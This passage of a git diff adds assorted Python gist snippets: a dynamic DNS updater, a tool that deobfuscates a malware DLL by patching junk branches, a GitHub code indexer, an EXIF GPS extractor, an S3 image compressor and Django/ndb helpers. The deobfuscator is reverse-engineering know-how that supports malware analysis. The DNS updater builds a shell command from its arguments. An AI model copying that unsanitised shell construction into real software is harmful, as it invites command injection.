+        sgd = avg_model(sgd, slices) # averaging weight vector => iterative parameter mixtures
+        print "Iteration %d:" % (ii + 1)
+        print "Model: "
+        print sgd.coef_
+        print sgd.intercept_
+        print ""
\ No newline at end of file
diff --git a/hard-gists/4707775/._snippet.py b/hard-gists/4707775/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4707775/._snippet.py differ
diff --git a/hard-gists/4707775/snippet.py b/hard-gists/4707775/snippet.py
new file mode 100644
index 00000000..06b2bb3c
--- /dev/null
+++ b/hard-gists/4707775/snippet.py
@@ -0,0 +1,125 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Written on 2013-02-04 by Philipp Klaus <philipp.l.klaus →AT→ web.de>.
+Check <https://gist.github.com/4707775> for newer versions.
+
+Uses dnspython: install with `pip install dnspython3`
+"""
+
+import argparse, sys
+import urllib.request
+import ipaddress
+import subprocess
+import socket
+origGetAddrInfo = socket.getaddrinfo
+
+VERBOSE = False
+IPV6_GET = "http://v6.ipv6-test.com/api/myip.php"
+IPV4_GET = "http://v4.ipv6-test.com/api/myip.php"
+
+class NoConnectivity(Exception):
+    pass
+
+def get_external_IP(get_ipv6=False):
+    # replace the original socket.getaddrinfo to force IPv4/IPv6 connection
+    # see http://stackoverflow.com/a/6319043/183995
+    forced_family = socket.AF_INET6 if get_ipv6 else socket.AF_INET
+    def getAddrInfoWrapper(host, port, family=0, socktype=0, proto=0, flags=0):
+        return origGetAddrInfo(host, port, forced_family, socktype, proto, flags)
+    socket.getaddrinfo = getAddrInfoWrapper
+
+    try:
+        get_addr_url = IPV6_GET if get_ipv6 else IPV4_GET
+        retval = urllib.request.urlopen(get_addr_url).read()
+        retval = retval.decode('ascii').strip()
+    except:
+        return None
+    try:
+        ip = ipaddress.ip_address(retval)
+        return retval
+    except:
+        return None
+
+def get_RR_value(FQDN, kind="A"):
+    import dns.resolver
+    try:
+        answer = dns.resolver.query(FQDN, kind)
+        if len(answer) == 0:
+            return None
+        return answer[0].to_text()
+    except dns.resolver.NXDOMAIN:
+        return None
+    except dns.resolver.NoAnswer:
+        return None
+    except dns.exception.DNSException:
+        return None
+
+def IPs_match_current_RRs(FQDN, want_ipv4=True, want_ipv6=False):
+    my_IPv4 = get_external_IP(get_ipv6=False) if want_ipv4 else None
+    my_IPv6 = get_external_IP(get_ipv6=True)  if want_ipv6 else None
+    if not (my_IPv4 or my_IPv6):
+        raise NoConnectivity
+    if VERBOSE: print("Current IPv4 and IPv6 addresses:  %s and %s." % (my_IPv4, my_IPv6))
+    cur_RR_v4 = get_RR_value(FQDN, 'A')
+    cur_RR_v6 = get_RR_value(FQDN, 'AAAA')
+    if VERBOSE: print("Current IPv4 and IPv6 RRs in DNS: %s and %s." % (cur_RR_v4, cur_RR_v6))
+    return (my_IPv4 == cur_RR_v4 and my_IPv6 == cur_RR_v6)
+
+def update_dns(server, zone, keyfile, domain, ipv4=None, ipv6=None, TTL=30):
+    command  = "server %s\n" % server
+    command += "zone %s\n" % zone
+    command += "update delete %s A\n" % domain
+    command += "update delete %s AAAA\n" % domain
+    if ipv4:
+        command += "update add %s %s    A %s\n" % (domain, TTL, ipv4)
+    if ipv6:
+        command += "update add %s %s AAAA %s\n" % (domain, TTL, ipv6)
+    command += "show\nsend\n"
+    command = "nsupdate -k {0} -v << EOF\n{1}\nEOF\n".format(keyfile, command)
+    if VERBOSE: print("Calling the following command now:\n\n" + command)
+    subprocess.call(command, shell=True)
+
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(description='Update the RRs of HOSTNAME on a DNS server according to your actual ones.')
+    parser.add_argument('--verbose', '-v', action='store_true',
+            help='Create more detailed output.')
+    parser.add_argument('--ipv6', '-6', action="store_true",
+            help='Set IPv4 entry (RR type A).')
+    parser.add_argument('--ipv6-getter-url', metavar='URL',
+            help='A URL that returns your IPv6 address upon a GET request.')
+    parser.add_argument('--ipv4', '-4', action="store_true",
+            help='Set IPv6 entry (RR type AAAA).')
+    parser.add_argument('--ipv4-getter-url', metavar='URL',
+            help='A URL that returns your IPv4 address upon a GET request.')
+    parser.add_argument('--zone', '-z', metavar='ZONE',
+            help='The zone of the host to update.', required=True)
+    parser.add_argument('--keyfile', '-k', metavar='DNSSEC-file.key',
+            help='The key file for TSIG.', required=True)
+    parser.add_argument('--nameserver', '-n', metavar='NS',
+            help='The name server to update.', required=True)
+    parser.add_argument('host', metavar='HOSTNAME',
+            help='The hostname you want updated.')
+    args = parser.parse_args()
+    if not (args.ipv4 or args.ipv6): args.ipv4 = True
+    if args.ipv6_getter_url:
+        IPV6_GET = args.ipv6_getter_url
+    if args.ipv4_getter_url:
+        IPV4_GET = args.ipv4_getter_url
+    if args.verbose: VERBOSE = True
+
+    try:
+        match = IPs_match_current_RRs(args.host, want_ipv4=args.ipv4, want_ipv6=args.ipv6)
+    except NoConnectivity:
+        if VERBOSE: sys.stderr.write("Currently no external IP could be detected. Are you connected in some way?\n")
+        sys.exit(1)
+    if not match:
+        if VERBOSE: print("The current IPs and the RRs do not match. Updating the DNS server...")
+        new_ipv4 = get_external_IP(get_ipv6=False) if args.ipv4 else None
+        new_ipv6 = get_external_IP(get_ipv6=True)  if args.ipv6 else None
+        update_dns(args.nameserver, args.zone, args.keyfile, args.host, ipv4=new_ipv4, ipv6=new_ipv6)
+    else:
+        if VERBOSE: print("The current IPs and the RRs are matching. Everyting OK.")
+    sys.exit(0)
+
diff --git a/hard-gists/470c2ffcf1cde9b2a740f48015915e30/._snippet.py b/hard-gists/470c2ffcf1cde9b2a740f48015915e30/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/470c2ffcf1cde9b2a740f48015915e30/._snippet.py differ
diff --git a/hard-gists/470c2ffcf1cde9b2a740f48015915e30/snippet.py b/hard-gists/470c2ffcf1cde9b2a740f48015915e30/snippet.py
new file mode 100644
index 00000000..c58e7b8d
--- /dev/null
+++ b/hard-gists/470c2ffcf1cde9b2a740f48015915e30/snippet.py
@@ -0,0 +1,226 @@
+# Slide : https://docs.google.com/presentation/d/1jLUDucNtvGotHw0LOvDonMYwCkXYcb-cnsOWLNt-Ag0
+import sys
+import pefile
+from capstone import *
+from capstone.x86 import *
+from keystone import *
+from datetime import datetime
+
+MAX_DISASM_COUNT = 1000 * 1000
+FILE_NAME = r"dump-g4pic.dll"
+
+walked_branch = []
+begin = datetime.now()
+
+def is_branch(mnemonic):
+    return mnemonic.upper() in ["JA", "JAE", 'JB', 'JBE', 'JC', 'JCXZ', 'JECXZ', 'JRCXZ', "JE", "JG", "JGE", "JL",
+                                "JLE", "JNA", "JNAE", "JNB", "JNBE", "JNC", "JNE", "JNG", "JNGE", "JNL", "JNLE", "JNO",
+                                "JNP", "JNS", "JNZ", "JO", "JP", "JPE", "JPO", "JS", "JZ"]
+
+
+def patch(image, image_base, address, patch_data):
+    i = 0
+    for b in patch_data:
+        image[address - image_base + i] = b
+        i += 1
+
+
+def patch_code(image, image_base, address, assembly):
+    ks = Ks(KS_ARCH_X86, KS_MODE_32)
+    encoding, _ = ks.asm(assembly, address)
+    patch_data = ''.join(chr(e) for e in encoding)
+    return patch(image, image_base, address, patch_data)
+
+
+def detect(insn1, insn2, address):
+    if insn1.mnemonic == 'ret':
+            return 0, 0, 0
+
+    elif insn1.mnemonic == 'jmp' and insn1.operands[0].type == X86_OP_IMM and (insn1.size == 5 or insn1.size == 2):
+        return insn1.operands[0].imm, 0, 0
+
+    elif (insn1.size == 5 and insn1.mnemonic == 'push' and insn1.operands[0].type == X86_OP_IMM) and (
+                    insn2.size == 1 and insn2.mnemonic == 'ret'):
+        return insn1.operands[0].imm, 0, 6
+
+    elif ((insn1.size == 6 and insn1.mnemonic in ['jz', 'je'] and insn2.size == 6 and insn2.mnemonic in ['jnz', 'jne']) \
+        or (insn1.size == 6 and insn1.mnemonic in ['jnz', 'jne'] and insn2.size == 6 and insn2.mnemonic in ['jz', 'je'])) \
+        and (insn1.operands[0].type == X86_OP_IMM and insn2.operands[0].type == X86_OP_IMM and insn1.operands[0].imm == insn2.operands[0].imm):
+        return insn1.operands[0].imm, 0, 12
+
+    elif is_branch(insn1.mnemonic):
+        return address + insn1.size, insn1.operands[0].imm, 0
+
+    elif insn1.mnemonic == 'call' and insn1.size == 5 and insn1.operands[0].type == X86_OP_IMM:
+        return address + insn1.size, insn1.operands[0].imm, 0
+    else:
+        return address + insn1.size, 0, 0
+
+
+def deobfuscate_an_instruction(image, image_base, address):
+    try:
+        md = Cs(CS_ARCH_X86, CS_MODE_32)
+        md.detail = True
+
+        code = image[address - image_base: address - image_base + 32]
+        try:
+            insns = md.disasm(str(code), address, 2)
+            insn1 = insns.next()
+            insn2 = insns.next()
+            insns.close()
+        except StopIteration:
+            return 0, 0
+        new_address, branch, patch_size = detect(insn1, insn2, address)
+        if patch_size > 0:
+            assembly = 'jmp 0x%08x' % new_address
+            patch_code(image, image_base, address, assembly)
+            patch(image, image_base, address + 5, (patch_size - 5) * '\x90')
+            print "[+] 0x%x:\t%08s\t%s" % (insn1.address, insn1.mnemonic, insn1.op_str), '-->', assembly
+
+        return new_address, branch
+
+    except Exception as e:
+        print '[+] [Exception]:', e
+    return 0, 0
+
+
+def deobfuscate(image, image_base, address):
+    """
+
+    :rtype : list
+    """
+    global walked_branch
+    count = 0
+    branch_list = []
+    if address == 0: return branch_list
+
+    print ('[+] Start analysing at 0x{:08x}'.format(address))
+    while address > 0:
+
+        if MAX_DISASM_COUNT > 0 and count >= MAX_DISASM_COUNT:
+            break
+        walked_branch.append(address)
+        address, branch = deobfuscate_an_instruction(image, image_base, address)
+        if count > 0 and count % (MAX_DISASM_COUNT / 10) == 0:
+            print ('[.] Still working.. {} at 0x{:08x}'.format(datetime.now() - begin, address))
+        count += 1
+        if address in walked_branch:
+            if not branch_list:  # branch list is empty
+                break
+            address = branch_list.pop(0)
+            print ('[+] Switch to branch 0x{:08x}'.format(address))
+            continue
+
+        if address == 0:
+            if not branch_list:  # branch list is empty
+                break
+            else:
+                address = branch_list.pop(0)
+                print ('[+] Switch to branch 0x{:08x}'.format(address))
+                walked_branch.append(address)
+
+        if (branch != 0) and (branch not in branch_list) and (branch not in walked_branch):
+            branch_list.append(branch)
+
+    if not branch_list:
+        print ('[+] Finish branch 0x{:08x}'.format(address))
+
+    return branch_list
+
+
+def detect_prologue(image, image_base, min_va):
+    index = min_va
+    md = Cs(CS_ARCH_X86, CS_MODE_32)
+    md.detail = True
+
+    prologue_list = []
+    while True:
+        if index > len(image):
+            break
+        found = image[index:].find('\x55')
+        if found == -1:
+            break
+
+        original_address = index + found
+        index += found + 1
+
+        address = original_address+1
+        for i in range(50):
+            code = image[address: address + 32]
+            try:
+                insns = md.disasm(str(code), image_base + index, 2)
+                insn1 = insns.next()
+                insn2 = insns.next()
+                insns.close()
+            except StopIteration:
+                break
+            except CsError as ex:
+                print("ERROR: %s" % ex)
+                break
+
+            if insn1.mnemonic == u'mov' and insn1.op_str == u'ebp, esp':
+                prologue_list.append(original_address + image_base)
+                break
+            address, _, _ = detect(insn1, insn2, address+ image_base)
+            address -= image_base
+
+    return prologue_list
+
+
+def deobfuscate_malware(pe, memory_mapped_image, image_base, start_address=0):
+    if start_address == 0:
+        # find all addresses
+        min_va = 0xffffffff
+        for section in pe.sections:
+            VirtualAddress_adj = pe.adjust_SectionAlignment(section.VirtualAddress,
+                                                            pe.OPTIONAL_HEADER.SectionAlignment,
+                                                            pe.OPTIONAL_HEADER.FileAlignment)
+            min_va = min(min_va, VirtualAddress_adj)
+
+        print ('[+] Finding prologue ...')
+        prologue_list = detect_prologue(memory_mapped_image, image_base, min_va)
+        print ('[+] Start deobfuscating ...')
+        for prologue in prologue_list:
+            branch_list = deobfuscate(memory_mapped_image, image_base, prologue)
+            while branch_list:
+                address = branch_list.pop(0)
+                branch_list += deobfuscate(memory_mapped_image, image_base, address)
+
+    else:
+        branch_list = deobfuscate(memory_mapped_image, image_base, start_address)
+        while branch_list:
+                address = branch_list.pop(0)
+                branch_list += deobfuscate(memory_mapped_image, image_base, address)
+
+
+    for section in pe.sections:
+        VirtualAddress_adj = pe.adjust_SectionAlignment(section.VirtualAddress,
+                                                        pe.OPTIONAL_HEADER.SectionAlignment,
+                                                        pe.OPTIONAL_HEADER.FileAlignment)
+        if section.Misc_VirtualSize == 0 or section.SizeOfRawData == 0:
+            continue
+        if section.SizeOfRawData > len(memory_mapped_image):
+            continue
+        if pe.adjust_FileAlignment(section.PointerToRawData, pe.OPTIONAL_HEADER.FileAlignment) > len(memory_mapped_image):
+            continue
+
+        pe.set_bytes_at_rva(VirtualAddress_adj, bytes(memory_mapped_image[ VirtualAddress_adj: VirtualAddress_adj + section.SizeOfRawData]))
+
+def main():
+    print ('[+] Parse PE file')
+    pe = pefile.PE(FILE_NAME, fast_load=True)
+    image_base = pe.OPTIONAL_HEADER.ImageBase
+    address_of_entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint
+    print ('[+] Map PE file')
+    memory_mapped_image = bytearray(pe.get_memory_mapped_image())
+    deobfuscate_malware(pe, memory_mapped_image, image_base)#image_base + address_of_entry_point)
+
+    print ('[+] Save to file {}'.format(FILE_NAME + '.cleaned'))
+    pe.write(FILE_NAME + '.cleaned')
+    print ('[+] Total time spent deobfuscating file: {}'.format(datetime.now() - begin))
+
+if __name__ == '__main__':
+    try:
+        main()
+    except Exception as e:
+        print 'Exception', e
\ No newline at end of file
diff --git a/hard-gists/4711568/._snippet.py b/hard-gists/4711568/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4711568/._snippet.py differ
diff --git a/hard-gists/4711568/snippet.py b/hard-gists/4711568/snippet.py
new file mode 100644
index 00000000..13387217
--- /dev/null
+++ b/hard-gists/4711568/snippet.py
@@ -0,0 +1,87 @@
+#! /usr/bin/env python# -*- coding: utf-8 -*-
+
+import urllib
+import zipfile
+import json
+import re
+import os
+from github import Github
+
+GITHUB_TOKEN = "Enter Your GitHub Token"
+SEARCH_KEYWORD = "twitter oauth"
+LANGUAGE       = "Python"
+OUTPUT_PATH    = "./index.txt"
+ZIP_PATH       = "./zip/"
+
+banList = ["__init__", "__repr__", "get", "main", "open", "write", "read", "close", "loop", "clear"]
+
+def downloadZipBall(name, url):
+    if not os.path.exists(ZIP_PATH):
+        os.mkdir(ZIP_PATH)
+    path = ZIP_PATH + name + ".zip"
+    urllib.urlretrieve(url, path)
+    return path
+
+def fetchDefFromZip(path):
+    zf = zipfile.ZipFile(path, 'r')
+    for f in zf.namelist():
+        if f[len(f) - 3:] == ".py":
+            return extractDef(zf.read(f), f[f.index("/"):])
+    return None
+
+def extractDef(fileStr, path):
+    defInfo = []
+    r = re.compile('def .*?:')
+    lines = fileStr.split("\n")
+    for (i, line) in enumerate(lines):
+        line = line.strip()
+        m = r.match(line)
+        if m:
+            name = line.replace("def ", "")
+            name = name[:name.index("(")]
+            name = name.strip()
+            if name in banList: continue
+            defInfo.append({"line" : i + 1, "name" : name, "path" : path})
+    return defInfo
+
+def writeIndexFile(repos, defInfo):
+    if defInfo == None or len(defInfo) == 0:
+        return
+    f = open(OUTPUT_PATH, "a")
+    output = {
+            'id'          : repos.id,
+            'name'        : repos.name,
+            'full_name'   : repos.full_name,
+            'description' : repos.description,
+            'url'         : repos.url,
+            'git_url'     : repos.git_url,
+            'clone_url'   : repos.clone_url,
+            'homepage'    : repos.homepage,
+            'language'    : repos.language,
+            'match'       : defInfo
+            }
+
+    str = json.dumps(output)
+    f.write(str + "\n")
+    f.close()
+
+def createIndex():
+    g = Github(GITHUB_TOKEN)
+
+    for repos in g.legacy_search_repos(SEARCH_KEYWORD, LANGUAGE):
+        if repos.private: continue
+        if not repos.has_downloads: continue
+        if repos.fork: continue
+
+        print repos.name
+        try:
+            link    = repos.get_archive_link("zipball")
+            path    = downloadZipBall(repos.name, link)
+            defInfo = fetchDefFromZip(path)
+            writeIndexFile(repos, defInfo)
+        except:
+            pass
+
+if __name__ == '__main__':
+    createIndex()
+
diff --git a/hard-gists/4712723/._snippet.py b/hard-gists/4712723/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4712723/._snippet.py differ
diff --git a/hard-gists/4712723/snippet.py b/hard-gists/4712723/snippet.py
new file mode 100644
index 00000000..ac750477
--- /dev/null
+++ b/hard-gists/4712723/snippet.py
@@ -0,0 +1,139 @@
+import xlwt
+import glob
+from PIL import Image
+from PIL.ExifTags import TAGS, GPSTAGS
+
+ezxf =xlwt.easyxf
+def isApple(fn):
+	flag= False
+	i = Image.open(fn)
+	info = i._getexif()
+	if info:
+		for tag, value in info.items():
+			decoded = TAGS.get(tag, tag)
+			if decoded =="Make" and value =="Apple":
+				flag= True
+	return flag
+
+def get_exif_data(fn):
+	"""Returns a dictionary from the exif data of an PIL Image item. Also converts the GPS Tags"""
+	exif_data = {}
+	i = Image.open(fn)
+	info = i._getexif()
+	if info:
+		for tag, value in info.items():
+			decoded = TAGS.get(tag, tag)
+			if decoded == "GPSInfo":
+				gps_data = {}
+				for t in value:
+					sub_decoded = GPSTAGS.get(t, t)
+					gps_data[sub_decoded] = value[t]
+				exif_data[decoded] = gps_data
+			else:
+				exif_data[decoded] = value
+	return exif_data
+ 
+def _get_if_exist(data, key):
+    if key in data:
+        return data[key]
+		
+    return None
+	
+def _convert_to_degress(value):
+    """Helper function to convert the GPS coordinates stored in the EXIF to degress in float format"""
+    d0 = value[0][0]
+    d1 = value[0][1]
+    d = float(d0) / float(d1)
+ 
+    m0 = value[1][0]
+    m1 = value[1][1]
+    m = float(m0) / float(m1)
+ 
+    s0 = value[2][0]
+    s1 = value[2][1]
+    s = float(s0) / float(s1)
+ 
+    return d + (m / 60.0) + (s / 3600.0)
+ 
+def get_lat_lon(exif_data):
+    """Returns the latitude and longitude, if available, from the provided exif_data (obtained through get_exif_data above)"""
+    lat = None
+    lon = None
+
+    if "GPSInfo" in exif_data:		
+        gps_info = exif_data["GPSInfo"]
+ 
+        gps_latitude = _get_if_exist(gps_info, "GPSLatitude")
+        gps_latitude_ref = _get_if_exist(gps_info, 'GPSLatitudeRef')
+        gps_longitude = _get_if_exist(gps_info, 'GPSLongitude')
+        gps_longitude_ref = _get_if_exist(gps_info, 'GPSLongitudeRef')
+ 
+        if gps_latitude and gps_latitude_ref and gps_longitude and gps_longitude_ref:
+            lat = _convert_to_degress(gps_latitude)
+            if gps_latitude_ref != "N":                     
+                lat = 0 - lat
+ 
+            lon = _convert_to_degress(gps_longitude)
+            if gps_longitude_ref != "E":
+                lon = 0 - lon
+    return lat, lon
+ 
+def write_xls(file_name, sheet_name, headings, data, heading_xf, data_xfs):
+    book = xlwt.Workbook()
+    sheet = book.add_sheet(sheet_name.decode('cp949'))
+    rowx = 0
+    for colx, value in enumerate(headings):
+		if (type(value) == int or type(value) == float):
+			sheet.write(rowx, colx, value, data_xfs[colx])
+		else:
+			sheet.write(rowx, colx, value.decode('cp949'), data_xfs[colx])
+    sheet.set_panes_frozen(True) # frozen headings instead of split panes
+    sheet.set_horz_split_pos(rowx+1) # in general, freeze after last heading row
+    sheet.set_remove_splits(True) # if user does unfreeze, don't leave a split there
+    for row in data:
+        rowx += 1
+        for colx, value in enumerate(row):
+			if (type(value) == int or type(value) == float):
+				sheet.write(rowx, colx, value, data_xfs[colx])
+			else:
+				sheet.write(rowx, colx, value.decode('cp949'), data_xfs[colx])
+    book.save(file_name)
+
+################
+# Example ########
+################
+if __name__ == "__main__":
+	data = []
+	file_list  = glob.glob('INPUT FILE PATH AND FILE FORMAT') #input file path and file format e.g. "c:\pictures\\*.jpg"
+	for file_name in file_list: 
+		image = file_name
+		exif_data = get_exif_data(image)
+		#Only focus on pictures taken by Apple product
+		if isApple(image):
+			exif_data = get_exif_data(image)
+			Date = exif_data['DateTimeOriginal'].split()[0]
+			Time = exif_data['DateTimeOriginal'].split()[1]
+			Lat = get_lat_lon(exif_data)[0]
+			Lon = get_lat_lon(exif_data)[1]
+
+			#Only write data when the picture has GPS information 
+			if Lat != None and Lon != None:
+				data +=[[file_name[file_name.find("test\\")+5:], Date, Time, Lat, Lon]]
+
+	# prepare for writing on Excel file
+	hdngs = ['Filename', 'Date', 'Time', 'Latitude', 'Longitude']
+	kinds =  'text	date	time float float'.split()
+	heading_xf = ezxf('font: bold on;  align: wrap on, vert centre, horiz center;')
+	kind_to_xf_map = {
+	'date': ezxf(num_format_str='yyyy:mm:dd'),
+	'time': ezxf(num_format_str='hh:mm:ss'),
+	'int': ezxf(num_format_str='#,##0'),
+	'float':ezxf(num_format_str='#.##0'),
+	'text': ezxf(),
+	}
+	data_xfs = [kind_to_xf_map[k] for k in kinds]
+	output_file_name = 'OUTPUT FILE PATH AND FILE NAME' #output file path and file name e.g. "c:\data.xls"
+
+	print output_file_name
+	# write data on Excel file
+	write_xls(output_file_name, 'photo', hdngs, data, heading_xf, data_xfs)
diff --git a/hard-gists/4713392/._snippet.py b/hard-gists/4713392/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4713392/._snippet.py differ
diff --git a/hard-gists/4713392/snippet.py b/hard-gists/4713392/snippet.py
new file mode 100644
index 00000000..0b6f1a49
--- /dev/null
+++ b/hard-gists/4713392/snippet.py
@@ -0,0 +1,29 @@
+#!/usr/bin/env python
+# coding=utf-8
+
+# pip install kurt
+# python thumb.py 3013900.sb
+
+import sys
+import kurt
+from kurt.files import ScratchProjectFile, ScratchSpriteFile
+
+def save_thumb(project):
+    project.load()
+    thumb = project.info["thumbnail"]
+    if thumb:
+        thumb.save("thumbnail.png")
+    
+if __name__ == '__main__':
+    if len(sys.argv) < 2:
+        exit
+
+    project = ScratchProjectFile(sys.argv[1], load=False)
+    try:
+        save_thumb(project)
+    except FolderExistsException, e:
+        print "Folder exists: %s" % unicode(e)
+    except FileNotFoundException, e:
+        print "File missing: %s" % unicode(e)
+    except InvalidProject, e:
+        print "Invalid project: %s" % unicode(e)
\ No newline at end of file
diff --git a/hard-gists/4716919/._snippet.py b/hard-gists/4716919/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4716919/._snippet.py differ
diff --git a/hard-gists/4716919/snippet.py b/hard-gists/4716919/snippet.py
new file mode 100644
index 00000000..de657bbd
--- /dev/null
+++ b/hard-gists/4716919/snippet.py
@@ -0,0 +1,57 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import sys
+
+from boto.s3.connection import S3Connection
+from cStringIO import StringIO
+from PIL import Image as pil
+
+AWS_KEY = '[AWS KEY HERE]'
+AWS_SECRET = '[AWS SECRET HERE]'
+BUCKET_NAME = '[BUCKET NAME]'
+
+def start_compressing(dry_run=False):
+    conn = S3Connection(AWS_KEY, AWS_SECRET)
+    bucket = conn.get_bucket(BUCKET_NAME)
+
+    i = 0
+    for img in bucket.list():
+        if img.size > 500000:
+            if not dry_run:
+                compress_image(img, i)
+            i += 1
+
+    if dry_run:
+        print 'Will compress {0} images'.format(i)
+    else:
+        print 'Compressed {0} images'.format(i)
+
+
+def compress_image(pic, index):
+    print u'{0}: compressing image: {1}'.format(index, pic.name)
+    input_file = StringIO(pic.get_contents_as_string())
+    img = pil.open(input_file)
+    tmp = StringIO()
+    img.save(tmp, 'JPEG', quality=80)
+    tmp.seek(0)
+    output_data = tmp.getvalue()
+
+    headers = dict()
+    headers['Content-Type'] = 'image/jpeg'
+    headers['Content-Length'] = str(len(output_data))
+    pic.set_contents_from_string(output_data, headers=headers, policy='public-read')
+    
+    tmp.close()
+    input_file.close()
+
+if __name__ == "__main__":
+    if len(sys.argv) > 1:
+        command = sys.argv[1]
+        if command == 'dry_run':
+            start_compressing(dry_run=True)
+        else:
+            print 'Invalid command. For a dry run please run: python compress_s3_images.py dry_run'
+    else:
+        start_compressing()
+    sys.exit()
\ No newline at end of file
diff --git a/hard-gists/4718429/._snippet.py b/hard-gists/4718429/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4718429/._snippet.py differ
diff --git a/hard-gists/4718429/snippet.py b/hard-gists/4718429/snippet.py
new file mode 100644
index 00000000..5b5b2034
--- /dev/null
+++ b/hard-gists/4718429/snippet.py
@@ -0,0 +1,30 @@
+
+import signal
+
+from rose import EventLoopPolicy
+from tulip import events, protocols
+
+events.set_event_loop_policy(EventLoopPolicy())
+
+
+class EchoProtocol(protocols.Protocol):
+    def connection_made(self, transport):
+        # TODO: Transport should probably expose getsockname/getpeername
+        print("Client connected: {}".format(transport._sock.getpeername()))
+        self.transport = transport
+    def data_received(self, data):
+        self.transport.write(data.upper())
+    def eof_received(self):
+        self.transport.close()
+    def connection_lost(self, exc):
+        print("Client closed connection")
+
+
+reactor = events.get_event_loop()
+
+f = reactor.start_serving(EchoProtocol, '127.0.0.1', 1234)
+server_socket = reactor.run_until_complete(f)
+print("Serving on {}".format(server_socket.getsockname()))
+reactor.add_signal_handler(signal.SIGINT, reactor.stop)
+
+reactor.run()
diff --git a/hard-gists/472309/._snippet.py b/hard-gists/472309/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/472309/._snippet.py differ
diff --git a/hard-gists/472309/snippet.py b/hard-gists/472309/snippet.py
new file mode 100644
index 00000000..4c50c894
--- /dev/null
+++ b/hard-gists/472309/snippet.py
@@ -0,0 +1,68 @@
+"""
+Using Jinja2 with Django 1.2
+Based on: http://djangosnippets.org/snippets/2063/
+
+To use:
+  * Add this template loader to settings: `TEMPLATE_LOADERS`
+  * Add template dirs to settings: `JINJA2_TEMPLATE_DIRS`
+
+If in template debug mode - we fire the template rendered signal, which allows
+debugging the context with the debug toolbar.  Viewing source currently doesnt
+work.
+
+If you want {% url %} or {% csrf_token %} support I recommend grabbing them
+from Coffin (http://github.com/dcramer/coffin/blob/master/coffin/template/defaulttags.py)
+Note for namespaced urls you have to use quotes eg:
+  {% url account:login %} => {% url "account:login" %}
+"""
+import jinja2
+
+from django.template.loader import BaseLoader
+from django.template import TemplateDoesNotExist, Origin
+from django.core import urlresolvers
+from django.conf import settings
+
+
+class Template(jinja2.Template):
+    def render(self, context):
+        # flatten the Django Context into a single dictionary.
+        context_dict = {}
+        for d in context.dicts:
+            context_dict.update(d)
+        
+        if settings.TEMPLATE_DEBUG:
+            from django.test import signals
+            self.origin = Origin(self.filename)
+            signals.template_rendered.send(sender=self, template=self, context=context)
+        
+        return super(Template, self).render(context_dict)
+
+
+class Loader(BaseLoader):
+    """
+    A file system loader for Jinja2.
+    
+    Requires the following setting `JINJA2_TEMPLATE_DIRS`
+    """
+    is_usable = True
+    
+    # Set up the jinja env and load any extensions you may have
+    env = jinja2.Environment(
+        loader=jinja2.FileSystemLoader(settings.JINJA2_TEMPLATE_DIRS),
+        extensions=(
+            'django_jinja2.extensions.URLExtension',
+            'django_jinja2.extensions.CsrfExtension',
+        )
+    )
+    env.template_class = Template
+    
+    # These are available to all templates.
+    env.globals['url_for'] = urlresolvers.reverse
+    env.globals['MEDIA_URL'] = settings.MEDIA_URL
+    
+    def load_template(self, template_name, template_dirs=None):
+        try:
+            template = self.env.get_template(template_name)
+            return template, template.filename
+        except jinja2.TemplateNotFound:
+            raise TemplateDoesNotExist(template_name)
\ No newline at end of file
diff --git a/hard-gists/4724761/._snippet.py b/hard-gists/4724761/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4724761/._snippet.py differ
diff --git a/hard-gists/4724761/snippet.py b/hard-gists/4724761/snippet.py
new file mode 100644
index 00000000..4469d1f2
--- /dev/null
+++ b/hard-gists/4724761/snippet.py
@@ -0,0 +1,116 @@
+from json import JSONEncoder, loads
+from time import mktime
+from datetime import date, datetime
+from google.appengine.ext import ndb
+from google.appengine.ext.ndb import query
+
+
+def to_epoch(value):
+    """
+    This is a view method to return the data in milli-seconds.
+
+        :param value: Instance of `datetime.datetime`.
+        :returns: `float` as the number of seconds since unix epoch.
+    """
+    return mktime(value.utctimetuple()) * 1000
+
+
+def from_epoch(value):
+    """
+        :param value:
+            Instance of `float` as the number of seconds since unix epoch.
+        :returns:
+            Instance of `datetime.datetime`.
+    """
+    return datetime.utcfromtimestamp(value / 1000)
+
+
+def entity_to_dict(self, includes=None, excludes=None):
+    """Encodes an `ndb.Model` to a `dict`. By default, only `ndb.Property`
+    attributes are included in the result.
+
+        :param include:
+            List of strings keys of class attributes. Can be the name of the
+            either a method or property.
+        :param exclude:
+            List of string keys to omit from the return value.
+        :returns: Instance of `dict`.
+        :raises: `ValueError` if any key in the `include` param doesn't exist.
+    """
+    value = ndb.Model.to_dict(self)
+    # set the `id` of the entity's key by default..
+    if self.key:
+        value['key'] = self.key.urlsafe()
+        value['id'] = self.key.id()
+    if includes:
+        for inc in includes:
+            attr = getattr(self, inc, None)
+            if attr is None:
+                cls = self.__class__
+                logging.warn('entity_to_dict cannot encode `%s`. Property is \
+not defined on `%s.%s`.', inc, cls.__module__, cls.__name__)
+                continue
+            if callable(attr):
+                value[inc] = attr()
+            else:
+                value[inc] = attr
+    if excludes:
+        # exclude items from the result dict, by popping the keys
+        # from the dict..
+        [value.pop(exc) for exc in excludes
+            if exc in value]
+    return value
+
+
+def entity_from_dict(cls, value):
+    """
+        :param cls: `ndb.Model` subclass.
+        :param value:
+    """
+    def _decode(_result, _value):
+        """
+        Deserializes `dict` values to `ndb.Property` values.
+        """
+        for key, val in _value.iteritems():
+            prop = cls._properties.get(key)
+            # logging.error('prop: %s', dir(prop))
+            if prop is None:
+                logging.warn('entity_from_dict cannot decode: `%s`. Property is \
+not defined on: `%s.%s`.', key, cls.__module__, cls.__name__)
+                continue
